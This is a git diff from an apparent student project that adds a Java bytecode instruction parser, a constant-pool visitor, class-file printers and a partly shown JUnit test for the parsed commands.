+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/CommandParser.java
@@ -0,0 +1,156 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		if ((codes == null) || (codes.length() == 0) || (codes.length() % 2) != 0) {
+			throw new RuntimeException("the orignal code is not correct");
+
+		}
+
+		codes = codes.toUpperCase();
+
+		CommandIterator iter = new CommandIterator(codes);
+		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+
+		while (iter.hasNext()) {
+			String opCode = iter.next2CharAsString();
+
+			if (new_object.equals(opCode)) {
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (invokespecial.equals(opCode)) {
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				// System.out.println( cmd.toString(clzFile.getConstPool()));
+				cmds.add(cmd);
+			} else if (invokevirtual.equals(opCode)) {
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (getfield.equals(opCode)) {
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (getstatic.equals(opCode)) {
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (putfield.equals(opCode)) {
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ldc.equals(opCode)) {
+				LdcCmd cmd = new LdcCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (bipush.equals(opCode)) {
+				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
+					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
+					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(cmd);
+			} else {
+				throw new RuntimeException("Sorry, the java instruction " + opCode + " has not been implemented");
+			}
+
+		}
+
+		calcuateOffset(cmds);
+
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		return result;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetFieldCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..faa268b0d2
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ConstantPool;
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetStaticFieldCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..4112f7cc56
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,20 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ConstantPool;
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeSpecialCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..7dd0b62407
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,22 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ConstantPool;
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeVirtualCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..77ba5c7460
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ConstantPool;
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/LdcCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..2d8b1ae2f3
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/LdcCmd.java
@@ -0,0 +1,30 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ConstantInfo;
+import org.xukai.jvm.constant.ConstantPool;
+import org.xukai.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NewObjectCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..0ac1b33832
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,20 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd {
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NoOperandCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..63683e3865
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,24 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand {
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/OneOperandCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..6498b64289
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,28 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/PutFieldCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..0a5987e4c3
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,20 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/TwoOperandCmd.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..b423f989ae
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package org.xukai.jvm.cmd;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.constant.ClassInfo;
+import org.xukai.jvm.constant.ConstantInfo;
+import org.xukai.jvm.constant.ConstantPool;
+import org.xukai.jvm.constant.FieldRefInfo;
+import org.xukai.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand {
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ClassInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ClassInfo.java
index bf7171a966..1adde177f3 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ClassInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ClassInfo.java
@@ -15,7 +15,12 @@ public void setUtf8Index(int utf8Index) {
 	public int getType() {
 		return type;
 	}
-	
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);
+	}
+
 	public String getClassName() {		
 		int index = getUtf8Index();
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantInfo.java
index 24323692e9..ffae0e4e83 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantInfo.java
@@ -25,5 +25,24 @@ public ConstantPool getConstantPool() {
 	public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
+
+	public abstract void accept(Visitor visitor);
+
+	public static interface Visitor {
+
+		public void visitString(StringInfo info);
+
+		public void visitNameAndType(NameAndTypeInfo info);
+
+		public void visitMethodRef(MethodRefInfo info);
+
+		public void visitFieldRef(FieldRefInfo info);
+
+		public void visitClassInfo(ClassInfo info);
+
+		public void visistUTF8(UTF8Info info);
+
+
+	}
 	
 }
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantPool.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantPool.java
index ff4aa4b906..d9cc6f0f56 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantPool.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/ConstantPool.java
@@ -23,7 +23,7 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public Object getSize() {		
+	public int getSize() {
 		return this.constantInfos.size() -1;
 	}
 }
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/FieldRefInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/FieldRefInfo.java
index f0b846f47c..d9b5281155 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/FieldRefInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/FieldRefInfo.java
@@ -11,7 +11,12 @@ public FieldRefInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-	
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);
+	}
+
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/MethodRefInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/MethodRefInfo.java
index a0c02fedaf..28b80235d9 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/MethodRefInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/MethodRefInfo.java
@@ -14,7 +14,12 @@ public MethodRefInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-	
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);
+	}
+
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NameAndTypeInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NameAndTypeInfo.java
index c88c848d3a..66d235641d 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NameAndTypeInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NameAndTypeInfo.java
@@ -25,8 +25,13 @@ public void setIndex2(int index2) {
 	public int getType() {
 		return type;
 	}
-	
-	
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+	}
+
+
 	public String getName(){
 		ConstantPool pool = this.getConstantPool();
 		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NullConstantInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NullConstantInfo.java
index 0aa452b866..732e8a42cf 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NullConstantInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NullConstantInfo.java
@@ -9,5 +9,10 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
-	
+
+	@Override
+	public void accept(Visitor visitor) {
+
+	}
+
 }
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/StringInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/StringInfo.java
index 31a3c52910..0fc28b142c 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/StringInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/StringInfo.java
@@ -10,7 +10,12 @@ public StringInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-	
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+	}
+
 	public int getIndex() {
 		return index;
 	}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/UTF8Info.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/UTF8Info.java
index caf1c19918..ae5200371e 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/UTF8Info.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/UTF8Info.java
@@ -16,6 +16,12 @@ public void setLength(int length) {
 	public int getType() {
 		return type;
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+	}
+
 	@Override
 	public String toString() {
 		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/method/Method.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/method/Method.java
index 6cd71db72c..27585d73b1 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/method/Method.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/method/Method.java
@@ -4,6 +4,7 @@
 import org.xukai.jvm.attr.AttributeInfo;
 import org.xukai.jvm.attr.CodeAttr;
 import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.cmd.ByteCodeCommand;
 import org.xukai.jvm.constant.UTF8Info;
 import org.xukai.jvm.loader.ByteCodeIterator;
 
@@ -25,6 +26,7 @@ public ClassFile getClzFile() {
 	public int getNameIndex() {
 		return nameIndex;
 	}
+
 	public int getDescriptorIndex() {
 		return descriptorIndex;
 	}
@@ -55,6 +57,10 @@ public String getMethodName(){
 	public String getMethodDescription(){
 		return ((UTF8Info)clzFile.getConstantPool().getConstantInfo(this.descriptorIndex)).getValue();
 	}
+
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
 	
 	
 	
@@ -77,12 +83,5 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		
 	}
 
-	public static void main(String[] args) {
-		CodeAttr codeAttr = new CodeAttr(1, 1, 1, 1, 1, "");
-		System.out.println(codeAttr instanceof AttributeInfo);
-		AttributeInfo codeAttr2 = new CodeAttr(1, 1, 1, 1, 1, "");
-		System.out.println(codeAttr2 instanceof CodeAttr);
-	}
-
 
 }
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ClassFilePrinter.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..4c78dc1796
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,48 @@
+package org.xukai.jvm.print;
+
+
+import org.xukai.jvm.clz.ClassFile;
+import org.xukai.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "D:\\java\\IDEA-Workspace\\coding2017\\group19\\527220084\\xukai_coding\\coding-common\\target\\classes";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "org.xukai.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ConstantPoolPrinter.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..b1ec2eda79
--- /dev/null
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,85 @@
+package org.xukai.jvm.print;
+
+
+import org.xukai.jvm.constant.ClassInfo;
+import org.xukai.jvm.constant.ConstantInfo;
+import org.xukai.jvm.constant.ConstantPool;
+import org.xukai.jvm.constant.FieldRefInfo;
+import org.xukai.jvm.constant.MethodRefInfo;
+import org.xukai.jvm.constant.NameAndTypeInfo;
+import org.xukai.jvm.constant.StringInfo;
+import org.xukai.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+			
+			@Override
+			public void visitString(StringInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("String    #").append(info.getIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("NameAndType    #").append(info.getIndex1()).append(":#")
+				.append(info.getIndex2());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex()).append("    ").append(info.getClassName()).append(".").append
+						(info.getMethodName()).append(info.getParamAndReturnType());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("Class    #").append(info.getUtf8Index())
+				.append("  ").append(info.getClassName());
+				
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visistUTF8(UTF8Info info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("UTF8    ").append(info.getValue());
+				System.out.println(buffer);
+				
+			}
+		};
+		
+		for(int i=1; i <= pool.getSize(); i++){
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			System.out.print("#"+i+"=");
+			constantInfo.accept(visitor);			
+		}
+	}
+}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/test/ClassFileloaderTest.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/test/ClassFileloaderTest.java
index c4fad12ff6..08e65bedce 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/test/ClassFileloaderTest.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/test/ClassFileloaderTest.java
@@ -8,6 +8,10 @@
 import org.junit.Test;
 import org.xukai.jvm.clz.ClassFile;
 import org.xukai.jvm.clz.ClassIndex;
+import org.xukai.jvm.cmd.BiPushCmd;
+import org.xukai.jvm.cmd.ByteCodeCommand;
+import org.xukai.jvm.cmd.OneOperandCmd;
+import org.xukai.jvm.cmd.TwoOperandCmd;
 import org.xukai.jvm.constant.ClassInfo;
 import org.xukai.jvm.constant.ConstantPool;
 import org.xukai.jvm.constant.MethodRefInfo;
@@ -303,7 +307,82 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
 	}
-    
-   
+
+
+	@Test
+	public void testByteCodeCommand(){
+		{
+			Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+			ByteCodeCommand[] cmds = initMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+			assertOpCodeEquals("4: aload_0", cmds[2]);
+			assertOpCodeEquals("5: aload_1", cmds[3]);
+			assertOpCodeEquals("6: putfield #15", cmds[4]);
+			assertOpCodeEquals("9: aload_0", cmds[5]);
